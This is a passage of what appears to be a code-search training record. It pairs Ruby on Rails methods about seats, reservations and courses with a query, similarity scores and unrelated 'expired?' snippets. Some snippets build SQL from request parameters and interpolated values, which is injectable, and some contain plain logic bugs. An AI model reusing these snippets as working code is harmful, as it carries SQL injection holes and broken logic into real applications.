Seatmap.seatmap_and_unavailable_seats_as_json(\n showdate,\n restrict_to_zone: restrict_to_zone,\n selected: already_selected,\n is_boxoffice: @gAdminDisplay)\n else\n render :json => {'map' => nil}\n end\n end", "def index\n @seshes = current_user.seshes\n end", "def show\n \n unless log_in? || cus_indentify(get_id)\n flash[:danger] = \"Please Log in!\"\n redirect_to new_session_path\n end\n #change\n @events = Event.where(\"for_student = true\").pluck(:id,:name)\n $students = Student.all.order(:UIN)\n $students.each do |x|\n @arr = Hash.new([])\n @tslots = x.timeslots\n @events.each do |ev|\n @check = FALSE\n @tslots.each do |t|\n if(t.event_id == ev[0])\n @arr[ev[1]] = (t.start_time.strftime(\"%I:%M%p\") + \"-\" + t.end_time.strftime(\"%I:%M%p\"))\n @check = TRUE\n break\n end\n end\n if(@check == FALSE)\n @arr[ev[1]] = (\"Not Attend\")\n end\n end\n $stu_slot[x.id] = @arr\n end\n #change end\n end", "def index\n @seat_configurations = SeatConfiguration.all\n end", "def set_seat\n @seat = Seat.find(params[:id])\n end", "def set_seat\n @seat = Seat.find(params[:id])\n end", "def set_seat\n @seat = Seat.find(params[:id])\n end", "def set_seat\n @seat = Seat.find(params[:id])\n end", "def print_seats_unavailable\n puts \"#{@unavailable_seats} Not available, Please select different seats \"\n end", "def index\n @reservations = Reservation.all\n #@reservations = current_user.reservations\n end", "def show_reservations\n user = User.find(current_user.id)\n @reservations = user.reservations\n end", "def availability(seats, time, restaurant, user)\n taken_seats = reservations.where(time: ((time-2.hours+1.minute)..(time+2.hours-1.minute))).sum(:seats)\n puts taken_seats\n taken_seats + seats <= capacity\n end", "def set_course_seats\n @course_date = CourseDate.find_by_course_location_date(params[:name], params[:location], params[:start_date])\n if @course_date\n \t@course_date = CourseDate.find(@course_date.id) # get a non-readonly version\n @course_date.total_seats = params[:total_seats] || 0\n @course_date.seats_sold = params[:seats_sold] || 0\n @course_date.save! # force an exception on failure\n render :nothing => true\n else\n render :text => \"Invalid course date data. No course named #{params[:name]} found on #{params[:start_date]} in #{params[:location]}\"\n end\n end", "def show\n @course = Course.find(params[:id])\n @studysessions = @course.study_sessions\n @myStudySessions = StudySession.where(\"host_id = '#{current_user.id}' AND course_name = '#{@course.name}'\")\n @allstudysessions = StudySession.where(\"(is_private is NULL OR is_private is FALSE) AND course_name = '#{@course.name}'\") - @myStudySessions\n @classmates = @course.getClassmates\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end", "def show\n #@sold_out = Activity.sold_out\n end", "def show\r\n\r\n\r\n @student_id = session[:student_id]\r\n @student_first_name = session[:first_name]\r\n @student_last_name = session[:last_name]\r\n @student_email = session[:email]\r\n\r\n\r\n @student_id = session[:student_id]\r\n @return_student_id = session[:student_id]\r\n @show_student_id = session[:student_id]\r\n @current_staff = Certifier.where(:IsAvailable => true)\r\n @all_staff = Certifier.all\r\n end", "def show\n if @first\n @first = first.find(params[:first_id])\n @fseat = @first.seats.find(params[:id])\n end\n if @business\n @business = business.find(params[:business_id])\n @bseat = @first.seats.find(params[:id])\n end\n if @economy\n @economy = economy.find(params[:economy_id])\n @eseat = @first.seats.find(params[:id])\n end\n\n end", "def set_seat_booking\n @seat_booking = SeatBooking.find(params[:id])\n end", "def seats_left?\n student_limit == students.count\n end", "def semList\n @semesters = Semester.all\n authorize @semester\n end", "def index\n @semester_marks = current_user.semester_mark\n end", "def show\n @seatings = Seating.where(room_id: @room.id)\n\n @responseObject = Array[]\n\n ([email protected]).each do\n @responseObject.push(Array[])\n end\n\n ([email protected]).each do |i|\n ([email protected]).each do |j|\n @responseObject[i].push(@seatings[((i)*@room.columns + j)])\n end\n end\n end", "def show\n @room_students = @room.students\n @recent_class_sessions = @room.class_sessions.where(\"day < ?\", Date.today).order(\"day DESC\").limit(2).reverse\n @upcoming_class_sessions = @room.class_sessions.where(\"day > ?\", Date.today).order(\"day DESC\").limit(5)\n @todays_class_session = @room.class_sessions.where(\"day = ?\", Date.today)\n end", "def index\n @availabilities = Availability.where(user: current_user)\n end", "def seats_length\n @seats.length\n end", "def show\n @spends = Spend.paginate(:page => params[:page], :per_page => 20).ultimos_fecha.activos.proyecto(@proyect)\n @viaticos = Viatico.ultimos_fecha.activos.proyecto(@proyect)\n end", "def seat_point_chart\n hold=[]\n availableSeats.to_a.each do |i| \n row=i[1][\"row\"]\n row_num=row_to_num(row)\n col=i[1][\"column\"]\n sp=[row,col,seat_point(row_num,col)]\n hold.push(sp)\n end\n return hold \n end", "def show\n\n #if student, show class enrollments/bookings\n @enrollments = @current_user.enrollments.sort_by {\n |enrollment| enrollment['date']\n }\n\n # if instructor show classes that they are teaching\n @classes_teaching = @current_user.classes_teaching\n\n\n end", "def index\n @courses = Course.all\n @current_semester = Semester.find_by_active(1)\n if @courses.present?\n @current_semester_courses = @current_semester.courses\n end\n @check_user = current_user.admin\n @semesters = Semester.all\n end", "def seats_available_over_max_backup\n\t\t\"#{seats_available} / #{max_student} + #{backup_student}\"\n\tend", "def show\n @course = Course.find(params[:id])\n @current_user = User.find_by_id(session[:user_id])\n session[:course_id] = @course.id\n if @course.students.count.zero?\n redirect_to new_student_path, notice: \"Add Students!\"\n else\n @pass_d_point = @course.pass_d_points.build\n @designated_point = DesignatedPoint.find_by_id(session[:d_id])\n @students = @course.students.paginate page: params[:page], order: 'lname asc', per_page: 25\n\n if @course.user_id == @current_user.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @students }\n end\n else\n redirect_to login_url, notice: \"Not Authorized\"\n end\n end\n end", "def index\n @advisers = Adviser.reserved_by(current_user)\n end", "def seats_among_orgs\n seats_used = ::User.where('organization_id IS NOT NULL').count\n seats_reserved = Carto::Organization.sum(:seats)\n return {'used' => seats_used, 'reserved' => seats_reserved}\n end", "def index\n @bookings = Booking.all\n # Bookings where the current user is the expert\n @as_expert = Booking.where(expert: current_user)\n # Bookings where the current user is the client\n @as_client = Booking.where(client: current_user)\n\n # All session that the current user is a part of\n @sessions = @as_expert | @as_client\n end", "def index\n @semesters = Semester.all\n end", "def index\n @semesters = Semester.all\n end", "def index\n @reservations = Reservation.all.where(user_id: current_user.id)\n end", "def ensure_sufficient_seats\n if !!@course_batch && !@course_batch.seats_available?\n redirect_to :back, alert: 'Sorry. There are not enough seats left. Please select some different batch.'\n end\n end", "def index\n @studies = current_user.available_studies\n end", "def show\n @vouchers = Mess.find(params[:id]).vouchers\n end", "def show\n @user = current_user\n @user_sweets = @user.sweets\n end", "def show\n @user = session[:user]\n #@course = Course.find(params[:id])\n sql_str = \"select * from courses_max_version where org_id=\"+params[:id]\n @course = Course.find_by_sql(sql_str)[0]\n @instructor = User.find_by_id(@course.instructor_id)\n @timeslots = @course.timeslots\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @course }\n end\n end", "def index\r\n\r\n @username = session[:username]\r\n\r\n @this_staff_member = Certifier.where(:certifier_id => params[:certifier_id]).first\r\n\r\n @student_visits = StudentVisit.where(created_at: Time.parse(\"8:00am CST\")..Time.parse(\"11:30pm CST\")).where(:isSignedin => true).order(:created_at => :desc)\r\n #@student_visits_count = StudentVisit.where(created_at: Time.parse(\"8:00am\")..Time.parse(\"11:30pm\")).where(:isSignedin => true).count\r\n @current_staff = Certifier.where(:IsAvailable => true)\r\n\r\n @all_staff = Certifier.all\r\n end", "def index\n @sems = Sem.all\n\n end", "def show\n \n @Students = @event.students\n \n\n \n end", "def index\n @station = Station.find(params[:station_id])\n\t\t@acs = @station.acs\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @acs }\n end\n end", "def show\n authorize @institute\n @admins = User.where(role:3,institute_id: @institute.id)\n @students = User.where(role:1,institute_id: @institute.id)\n end", "def show\n authorize! :read, @student_book\n @student = @student_book.student\n end", "def num_of_seats_available\n self.movie.capacity > self.movie.seats_sold ? (self.movie.seats_sold += 1) : false\n self.movie.save\n end", "def set_Seats(value)\n set_input(\"Seats\", value)\n end", "def index\n @course_reserves = CourseReserve.all\n end", "def seat_availability(bus,bus_start_date)\n \n Booking.where(start_date: bus_start_date, bus_id: bus.id).count < bus.capacity # seat capacity.\n \n end", "def index\n @otg_sesses = OtgSess.all\n end", "def index\n @seminars = Seminar.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @seminars }\n end\n end", "def show\n @students = @classroom.show_students_with_rank\n end", "def index\n @student_sessions = StudentSession.all\n @sessions = Session.all\n end", "def show\n @semesters = Semester.all.sort_by(&:beginning).reverse\n\n respond_to do |format|\n format.html do\n render layout: 'wide_with_sidebar'\n expires_in 10.minutes\n end\n format.json do\n expires_in 10.minutes, public: true\n end\n end\n end", "def show\n if current_user.role == 'parent'\n @students = current_user.students\n elsif current_user.role == 'teacher'\n @students = current_user.student_class.students.all\n end\n true\n #@messaging_centres = MessagingCentre.all\n end", "def seats_waitlisted_same_user_same_tour\n waitlist_same_user_same_tour ? waitlist_same_user_same_tour.num_seats : 0\n end", "def list_races\n \t\t@races = Race.all.where(:user_id => session[:user_id])\n \t\n \trender action: \"startraces.html.erb\"\n\tend", "def show\n @events = @user.events\n @rides = @user.rides\n @lostandfounds = @user.lostandfounds\n end", "def index\n @semestres = Semestre.all\n end", "def booking_params\n params.permit(:show_id, seats: [])\n end", "def show\n # implicit :get_sesh\n end", "def index\n @visitations = Visitation.all\n end", "def index\n @stu_reg_semesters = StuRegSemester.all\n end" ]
[ "0.7342581", "0.72967577", "0.72967577", "0.7004693", "0.68944573", "0.6840483", "0.6822822", "0.68118197", "0.67529637", "0.6749544", "0.66963625", "0.65907043", "0.64996994", "0.6476909", "0.6453216", "0.6436593", "0.6429939", "0.638689", "0.635079", "0.6335041", "0.6296884", "0.6284565", "0.62812865", "0.6265947", "0.61908656", "0.61783886", "0.6157853", "0.6152969", "0.6142589", "0.6136689", "0.61281335", "0.6121575", "0.6115566", "0.60905343", "0.6083987", "0.606715", "0.6054624", "0.60262907", "0.601386", "0.601386", "0.601386", "0.601386", "0.6008778", "0.5994192", "0.596243", "0.5962195", "0.59375143", "0.58983105", "0.5897679", "0.58898145", "0.5886579", "0.58642495", "0.58600837", "0.5841055", "0.58086604", "0.57870746", "0.5786369", "0.5784686", "0.578285", "0.5782464", "0.57771593", "0.5776754", "0.5769058", "0.57635367", "0.576306", "0.5745224", "0.5738784", "0.5731918", "0.57259417", "0.57259417", "0.57218295", "0.5714698", "0.57096696", "0.570924", "0.5696788", "0.5696089", "0.5695908", "0.5694825", "0.56929135", "0.56924516", "0.5684491", "0.5680264", "0.5679709", "0.5678388", "0.566962", "0.56592655", "0.56521213", "0.56514144", "0.5649297", "0.5636051", "0.5623864", "0.5620935", "0.5613376", "0.5609473", "0.5608174", "0.5583248", "0.55799174", "0.5577463", "0.5576649", "0.5575684" ]
0.62576956
24
admin view of seats available
def seats_available_over_max_backup "#{seats_available} / #{max_student} + #{backup_student}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n\t\t#insert logic to rule out seats taken\n\t\trender :index\n\tend", "def index\n @seats = Seat.all\n end", "def index\n @seats = Seat.all\n end", "def show\n @seats = @flight.seats\n end", "def index\n @ipc_seats = IpcSeat.all\n end", "def index\n @class_seats = ClassSeat.all\n end", "def show\n render json: Seances::UseCases::AvailableSeats.new.call(id: params[:id])\n end", "def index\n @seat_bookings = SeatBooking.all\n end", "def index\n @seat_configurations = SeatConfiguration.all\n end", "def seats\n respond_to?(:constituencyGroupHasHouseSeat) ? constituencyGroupHasHouseSeat : []\n end", "def show\n @seats = @customer.seats\n @tickets = @customer.tickets\n @orders = @customer.reservations\n end", "def index\n @driver_trip_seats = DriverTripSeat.all\n end", "def seats\n respond_to?(:constituencyGroupHasHouseSeat) ? constituencyGroupHasHouseSeat : []\n end", "def index\n @seatclasses = Seatclass.all\n end", "def index\n @seats = Seat.all.order(table: :asc, seat: :asc)\n end", "def seats\n document.fetch(:seats, nil)\n end", "def seats\n seats = @flight_execution.seats.includes(ticket: [:passenger])\n .page(page).per(per)\n json_response(PageDecorator.decorate(seats)\n .as_json(passenger_details: true), :ok)\n end", "def occupied_seats\n return [] unless seatmap\n # basically, collect seat info from all vouchers for this showdate\n vouchers.map(&:seat).compact.map(&:to_s).sort\n end", "def index\n @otg_sesses = OtgSess.all\n end", "def index\n @availabilities = Availability.where(user: current_user)\n end", "def availableSeats\n jsonChunk[\"seats\"]\n end", "def index\n @eats = Eat.all\n end", "def index\n @reservations = Reservation.all\n #@reservations = current_user.reservations\n end", "def index\n @seshes = current_user.seshes\n end", "def index\n @reservations = Reservation.is_public.confirmed.order(updated_at: :desc).limit(500)\n end", "def index\n @client_accessories = ClientAccessory.all\n end", "def index\n @station = Station.find(params[:station_id])\n\t\t@acs = @station.acs\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @acs }\n end\n end", "def index\n @study_reservations = StudyReservation.all\n end", "def index\n @tool_reservations = ToolReservation.all\n end", "def show\n @seat = Seat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @seat }\n end\n end", "def book_seats_if_available\n check_for_unavailable_seats\n if @unavailable_seats.empty?\n book_selected_seats \n else \n print_seats_unavailable\n book_tickets\n end \n end", "def index\n @reservations = Reservation.all.paginate(:page => params[:page]).per_page(10)\n authorize! :index, :Reservations\n end", "def print_seats_unavailable\n puts \"#{@unavailable_seats} Not available, Please select different seats \"\n end", "def plane_seats(category_id)\n seats.where(seat_category_id: category_id)\n end", "def index\n @location[:sub_menu] = 'list_offers'\n if current_user.has_role?(:admin)\n @offers = Offer.all\n elsif current_user.has_role?(:supplier)\n @offers = Offer.where(:user_id => current_user.id)\n end\n end", "def seatmap\n # return the seatmap for this production, and array of UNAVAILABLE seats for this performance.\n # if 'selected' is passed, it is a comma-separated list of full seat labels to show as\n # already-selected seats (if the seatmap workflow in question respects it).\n # if this is an 'admin' level user, make sure \"holdback\" restrictions are ignored.\n showdate = Showdate.find(params[:id]) \n restrict_to_zone = params[:zone]\n already_selected = params[:selected].to_s.split(/\\s*,\\s*/)\n if showdate.has_reserved_seating?\n render :json => Seatmap.seatmap_and_unavailable_seats_as_json(\n showdate,\n restrict_to_zone: restrict_to_zone,\n selected: already_selected,\n is_boxoffice: @gAdminDisplay)\n else\n render :json => {'map' => nil}\n end\n end", "def index\n @advisers = Adviser.reserved_by(current_user)\n end", "def index\n @venues = Venue.includes(:seats).all\n end", "def index\n @manage_retreats = ManageRetreat.all\n end", "def index\n @reservationcs = Reservationc.all\n end", "def index\n @reservations = Reservation.all.where(user_id: current_user.id)\n end", "def index\n begin\n ActiveRecord::Base.transaction do\n if !current_user.type.eql?(\"Admin\")\n @all_reservations = current_user.reservations\n else\n @all_reservations = Reservation.includes(:client, location_type: :sale_event).joins(\n location_type: :sale_event).where(sale_events:{admin_id: current_user.id})\n end\n end\n rescue Exception => exc\n flash[:danger] = exc.message\n redirect_to root_path\n end\n end", "def index\n @meats = Meat.all\n end", "def index\n if(current_customer.role_check == 'admin')\n @reservations = Reservation.all\n else\n @reservations = Reservation.find_by_customer(current_customer)\n if @reservations.empty?\n flash[:notice] = \"No reservations made\"\n end\n end\n end", "def show_reservations\n user = User.find(current_user.id)\n @reservations = user.reservations\n end", "def index\n @reservacions = Reservacion.all\n end", "def show\n @seat = Seat.find(params[:id])\n respond_with(@seat)\n end", "def index\n @sports = Sport.all\n @is_admin = current_admin?\n end", "def index\n @dailystats = Dailystat.all\n end", "def seatmap\n # return the seatmap for this production, and array of UNAVAILABLE seats for this performance\n showdate = Showdate.find(params[:id]) \n if showdate.has_reserved_seating?\n render :json => Seatmap.seatmap_and_unavailable_seats_as_json(showdate)\n else\n render :json => {'map' => nil}\n end\n end", "def index\n @reserves = Reserve.all\n end", "def index\n if current_user.rol == \"Administrador\"\n @reservas = Reserva.all\n else\n @reservas = Reserva.where(\"user_id = ?\", current_user.id)\n end\n end", "def index\n @coats = Coat.all\n end", "def index\n @reserva_aceita = ReservaAceitum.all\n end", "def show\n @seat = Seat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seat }\n end\n end", "def index\n if is_adm?\n @signed_leases = SignedLease.all\n else\n @signed_leases = SignedLease.where(:sid => current_user_id)\n end\n\n end", "def seats_available\n\t\tavailable = total_student - UserEvent.joined_students_count(self.id)\n\n\t\tif available > 0\n\t\t\tavailable\n\t\telse\n\t\t\t\"FULL\"\n\t\tend\n\tend", "def index\n @reservations = @user.reservations.active_total\n end", "def index\n @administracao_contratos = Administracao::Contrato.accessible_by(current_ability)\n end", "def dashboard\n @clients = current_user.clients\n end", "def index\n @specific_availabilities = SpecificAvailability.all\n end", "def index\n @servants = Servant.all\n end", "def index\n @course_reserves = CourseReserve.all\n end", "def show\n if logged_student?\n @reservations = Reservation.joins(\"INNER JOIN rooms ON rooms.id = reservations.room_id \n INNER JOIN users ON reservations.user_id = users.id\n INNER JOIN slots ON reservations.slot_id = slots.id\n INNER JOIN libraries ON rooms.library_id = libraries.id\").\n where(user_id: session[:user_id]).\n where('reservation_date >= ?', DateTime.yesterday)\n else if logged_admin?\n @reservations = Reservation.joins(\"INNER JOIN rooms ON rooms.id = reservations.room_id \n INNER JOIN users ON reservations.user_id = users.id\n INNER JOIN slots ON reservations.slot_id = slots.id\n INNER JOIN libraries ON rooms.library_id = libraries.id\").\n where('reservation_date >= ?', DateTime.yesterday)\n end\n end\n end", "def index\n @administracao_cargos = Administracao::Cargo.accessible_by(current_ability)\n end", "def index\n @scoots = Scoot.show_leaves(current_user)\n end", "def index\n @saches = Sach.all\n end", "def index\n @availabilities = Availability.where(:active => true)\n end", "def show\n @vouchers = Mess.find(params[:id]).vouchers\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @reservations = Reservation.all\n end", "def index\n @activacionclientets = Activacionclientet.all\n end", "def index\n @atencions = Atencion.all\n end", "def index\n @space_reservations = SpaceReservation.all\n end", "def show \n available_users\n end", "def show\n #issues_permissions\n @observacions=Observacion.all \n end", "def index\n admin_is_viewing_someone_else = params[ :user_login ] && current_user.admin?\n login = admin_is_viewing_someone_else ? params[ :user_login ] : current_user\n @user = User.find_or_lookup_by_login( login ) rescue nil\n if @user.nil?\n flash[:alert] = \"Could not find user with Login ID #{params[ :user_login ]}\" if admin_is_viewing_someone_else\n redirect_to request.referrer || root_url\n return\n end\n\n if admin_is_viewing_someone_else\n @page_title = \"Reservations for #{@user.name}\"\n else\n @page_title = \"Your Reservations\"\n end\n\n reservations = @user.reservations.includes(:survey_response, :user, session: [:occurrences, :topic])\n current_reservations = reservations.find_all{ |reservation| !reservation.session.in_past? }.sort {|a,b| a.session.next_time <=> b.session.next_time}\n @past_reservations = reservations.find_all{ |reservation| reservation.session.in_past? && reservation.attended != Reservation::ATTENDANCE_MISSED }\n @confirmed_reservations, @waiting_list_signups = current_reservations.partition { |r| r.confirmed? }\n\n end", "def index\n @inventories = current_user.inventories\n end", "def index\n @admins = Admin.accessible_by(current_ability, :index).limit(20)\n respond_to do |format|\n format.json { render :json => @admins }\n format.xml { render :xml => @admins }\n format.html\n end\n end", "def index\n @sekilas_infos = SekilasInfo.all\n end", "def index\n #@reservations = Reservation.all\n @reservations = current_user.reservations #.order(\"created_at DESC\")\n #@eateries = Eatery.all.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n end", "def silver\n authorize! :view, :silver, :message => 'Access limited to Silver Plan subscribers.'\n end", "def index\n @service_offerings = ServiceOffering.all\n end", "def index\n @attestations = Attestation.all\n end", "def show\n authorize! :show, @reservation\n @user = current_user\n @reservations = Reservation.select{|res| res.teacher_id == @user.id}\n end", "def sit\n @seat = Seat.find(params[:id])\n\n if session[:user_id] == nil\n flash[:alert] = \"You must login to take a seat\"\n end\n \n # Check if seat is available\n if @seat.user_id == nil \n \n # Find all seats with user id first and remove\n @seatsOccupied = Seat.where(:user_id=>session[:user_id])\n \n if @seatsOccupied != nil\n @seatsOccupied.each do |s|\n # Unoccupy all seats currently occupied\n s.user_id = nil\n s.save\n end\n end \n \n # Occupy a seat and save\n @seat.user_id = session[:user_id] \n @seat.save\n\n else\n # Can't sit, page will rerender with flash alert\n # TODO: after AJAX implementation, user is not \n # flashed with this message when seat is\n # taken\n flash[:alert] = \"Seat ##{@seat.id} is currently occupied\"\n end\n\n # After attempting to sit, get all seats to render\n @seats = Seat.all \n\n respond_to do |format|\n format.html {redirect_to(seats_url)}\n format.xml {render :xml => @seats }\n format.js {render 'sit.js.erb', :object => @seats} # Seats AJAXified\n end\n\n end", "def set_Seats(value)\n set_input(\"Seats\", value)\n end", "def show\n # implicit :get_sesh\n end" ]
[ "0.7693574", "0.7498798", "0.7498798", "0.7061378", "0.7035723", "0.6886652", "0.68367296", "0.6766817", "0.66861826", "0.6643051", "0.65841615", "0.6545098", "0.65206337", "0.6469575", "0.638052", "0.63766176", "0.6375358", "0.6357821", "0.6338564", "0.6327835", "0.63195944", "0.63055956", "0.62613755", "0.6183671", "0.61178887", "0.6117714", "0.60977966", "0.60819143", "0.6066021", "0.60433745", "0.6035533", "0.60286194", "0.6026614", "0.6024011", "0.60105294", "0.6002829", "0.59978133", "0.59920186", "0.59858346", "0.59832513", "0.59642816", "0.5958468", "0.59576946", "0.5941215", "0.59405947", "0.59337157", "0.59311604", "0.5929269", "0.59284127", "0.5920898", "0.58993983", "0.58958524", "0.58954376", "0.5893008", "0.5892976", "0.5887822", "0.58828324", "0.5882053", "0.58753616", "0.58746636", "0.5867824", "0.5867226", "0.586446", "0.5862108", "0.5858094", "0.58414084", "0.5837347", "0.58177537", "0.58172196", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.5803159", "0.58021164", "0.5798862", "0.5789206", "0.5785487", "0.5784068", "0.5778378", "0.5771532", "0.5768554", "0.57676536", "0.576698", "0.57654196", "0.5763862", "0.5755438", "0.57462066", "0.57440394", "0.5743459", "0.57370144" ]
0.0
-1
determine if an event is expired
def is_expired? self.event_date < DateTime.now end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_expired?(date)\n # The event will expires 2 hours after is date\n Time.parse(date).to_f < Time.now.to_f - 2.hours.to_i\n rescue TypeError\n true\n end", "def expired?(payload)\n Time.at(payload['exp']) < Time.now\n end", "def is_expired?\n (!end_time.nil? and end_time < Clock.time)\n end", "def expired?\n Time.now > self.to_be_expired_at\n end", "def expired?\n exp < Time.now.to_i\n end", "def expired?\n expiration_date <= Time.now\n end", "def expired?\n Time.now > expiration if expiration\n end", "def expired?\n false\n end", "def expired?\n end", "def expired?\n Time.now > valid_until\n end", "def expired?\n self.expiration.past? || self[:expired]\n end", "def expired?\n @expiry_time < Time.now\n end", "def expired?\n !respond_to?(:expires_at) || expires_at < Time.current\n end", "def time_expired?\n (Time.now - @duration) > @start_time\n end", "def expired?\n\n end", "def expired?\n Time.current >= expires_at\n end", "def expired?\n self.expires_at && Time.now.utc > self.expires_at\n end", "def expired?\n self.expires_at && Time.now > self.expires_at\n end", "def expired?\n self.expires_on? and self.expires_on < Time.now\n end", "def expired?\n expires_at && expires_at <= Time.now\n end", "def expired?\n DateTime.now.utc >= self.expires_at\n end", "def expired?\n @expires_at <= Time.now\n end", "def expired?\n Time.now > @expiration if @expiration\n end", "def not_expired?\n self.expires_at && Time.now <= self.expires_at\n end", "def expired(payload)\n Time.zone.at(payload['exp']) < Time.zone.now\n end", "def expired?\n @expired\n end", "def is_expired?\n self.end_date < DateTime.now\n end", "def expired?\n Time.now > @expires\n end", "def has_expired?\n self.expires_at ? self.expires_at < Time.now.utc : false\n end", "def has_expired?\n self.expires_at ? self.expires_at < Time.now.utc : false\n end", "def expired?\n DateTime.now > @expires\n end", "def expired?\r\n return Time.now > self.created_on + @@validity_time\r\n end", "def expired?\n expires_at.to_time <= Time.now.utc\n end", "def expired?\n expires_at.to_time <= Time.now.utc\n end", "def expired?\n expires_at && Time.now > expires_at\n end", "def expired?\n @expires_in && @created_at + @expires_in <= Time.now.to_f\n end", "def expired?\n timestamp.nil? || (Time.now.to_i - timestamp.to_i).abs > 300\n end", "def expired?\n return @expired\n end", "def expired?\n can_expire? && @expiry < Time.now.to_i\n end", "def expired?\n Date.today > self.expires_on\n end", "def expired?(now)\n @expires_at <= now\n end", "def expired?\n Time.now > self.deadline\n end", "def expired?\n if expires?\n Time.now >= expires_at\n else\n false\n end\n end", "def request_expired?\n parsed_timestamp < request_expires_at\n end", "def expired?\n return self.expires_on < Date.today if self.expires_on\n true\n end", "def expired?\n expires? && (expires_at < Time.now.to_i)\n end", "def expired?(key)\n rec = @hash[key]\n !rec.nil? && rec[:start] < Time.now - rec[:lifetime]\n end", "def expired?\n return false if @expires_in.nil?\n @start_time + Rational(@expires_in - @refresh_timeout, 86400) < DateTime.now\n end", "def expired?(now)\n @value.expired?(now: now)\n end", "def expired?\n pledging_ends_on.past?\n end", "def expired?\n expires && expires < Time.now\n end", "def expired?\n Time.now - @created_time > @ttl\n end", "def expired?\n not valid?\n end", "def expired?\n age > ttl\n end", "def expired?\n age > ttl\n end", "def expired?\n self.expired = false unless self.deadline > DateTime.now\n end", "def expired?\n Time.now.in_time_zone > expires_at\n end", "def expired?\n !expires_at.nil? && Time.now >= expires_at\n end", "def expired?\n return false unless expires_at\n expires_at < Time.now\n end", "def expired? time\n time ||= Timers.now\n time >= @fire_time\n end", "def has_not_expired?\n self.expires_at ? self.expires_at > Time.now.utc : true\n end", "def has_not_expired?\n self.expires_at ? self.expires_at > Time.now.utc : true\n end", "def expired?\n can_expire? && (self.expires_in + self.time_created) < Time.now.to_i\n end", "def expired?; end", "def is_expired\n if self.status == \"none\" || self.status == \"pending\"\n return false\n else\n return true\n end\n end", "def expired_time? time\n time + self.class.ttl_in_seconds.to_i < Time.now\n end", "def tgt_expired?\n return true if @last_updated.nil? or @ticket_granting_ticket.nil?\n (@last_updated + 5) < Time.now.to_i # TGTs have an 8 hour life\n end", "def expired?\n !expiration_date || expiration_date <= Date.today\n end", "def expired?\n created_at < 14.days.ago && updated_at < 14.days.ago\n end", "def expired?\n expires? && (Time.now > expires_at)\n end", "def expired?(time = Timers.now)\n time >= @fire_time\n end", "def expired?\n return if missing?\n\n validity < (reference_time - time)\n end", "def expired?\n Time.zone.today > expires_at\n end", "def expired?(key, timeout)\n if (created_at = created_at(key))\n Time.now - created_at > timeout\n else\n # If the created_at data is missing assume expired\n true\n end\n end", "def access_expired? (time = Time.current)\n access_expires_at && time > access_expires_at\n end", "def expired?\n return true if expires - Time.now <= 0\n return false\n end", "def expired?(expiration_date)\n Date.today.beginning_of_day >= expiration_date.beginning_of_day\n end", "def session_expired?\n ! (Time.now < session[:expire_at])\n end", "def expired?\n if (self.last_retrieved == nil)\n return true\n elsif (self.time_to_live < 30.minutes)\n return (self.last_retrieved + 30.minutes) < Time.now.gmtime\n else\n return (self.last_retrieved + self.time_to_live) < Time.now.gmtime\n end\n end", "def expired?(timeout)\n !@time_started.nil? && @time_completed.nil? && ((Time.now - @time_started) > timeout)\n end", "def token_expired?\n return true\n expires_at < Time.now if expires_at?\n end", "def is_token_expired?\n (Time.now - self.updated_at) > 3300\n end", "def expired?\n lifetime_in_days = time_in_seconds(@lifetime)\n @born + lifetime_in_days < DateTime.now\n end", "def schedule_expired\n return @schedule.end_date && @date > @schedule.end_date\n end", "def expired?\n return true if authentication.nil?\n\n authentication.expires_at < 2.days.from_now\n end", "def token_expired?\r\n begin\r\n conditions_element = REXML::XPath.first(document,\"/p:Response/a:Assertion/a:Conditions\", { \"p\" => PROTOCOL, \"a\" => ASSERTION })\r\n raise SA1012Exception if conditions_element.nil?\r\n raise SA1003Exception if conditions_element.attribute('NotBefore') and Time.now.utc < Time.parse(conditions_element.attribute('NotBefore').value)\r\n raise SA1004Exception if conditions_element.attribute('NotOnOrAfter') and Time.now.utc >= Time.parse(conditions_element.attribute('NotOnOrAfter').value)\r\n rescue RuntimeError => exp\r\n Rails.logger.error \"#{exp.class} - #{exp.message}\"\r\n return true\r\n else\r\n return false\r\n end\r\n end", "def is_expired(datetime=nil)\n unless datetime\n datetime = Time.zone.now\n end\n \n if self.expiration_date < datetime\n return true\n else\n return false\n end\n end", "def expired?\n conf_item_hold_time = SystemConfiguration::Variable.get_value('booking.item_hold_time', '0').to_i\n hold_time_diff_in_hours = ((DateTime.now.to_time - self.creation_date.to_time).to_f * 24).to_i\n expired = (hold_time_diff_in_hours > conf_item_hold_time)\n expired && !force_allow_payment\n end", "def expired?\n !self.active?\n end", "def access_token_expired?\n Time.zone.now >= self.expires_at\n end", "def access_token_expired?\n Time.zone.now >= self.expires_at\n end", "def expired?\n overdue_days > 0\n end", "def token_expired?\n self.expires < Time.zone.now.to_i\n end", "def access_token_expired?\n\t\t\t\treturn false if self.expires_at.nil?\n\n\t\t\t\t# Expiration date less than now == expired\n\t\t\t\tself.expires_at < Time.now\n\t\t\tend", "def access_token_expired?\n\t\taccess_token_expires_at && access_token_expires_at < Time.zone.now\n\tend", "def refresh_expired?\n can_refresh_expire? && @refresh_expiry 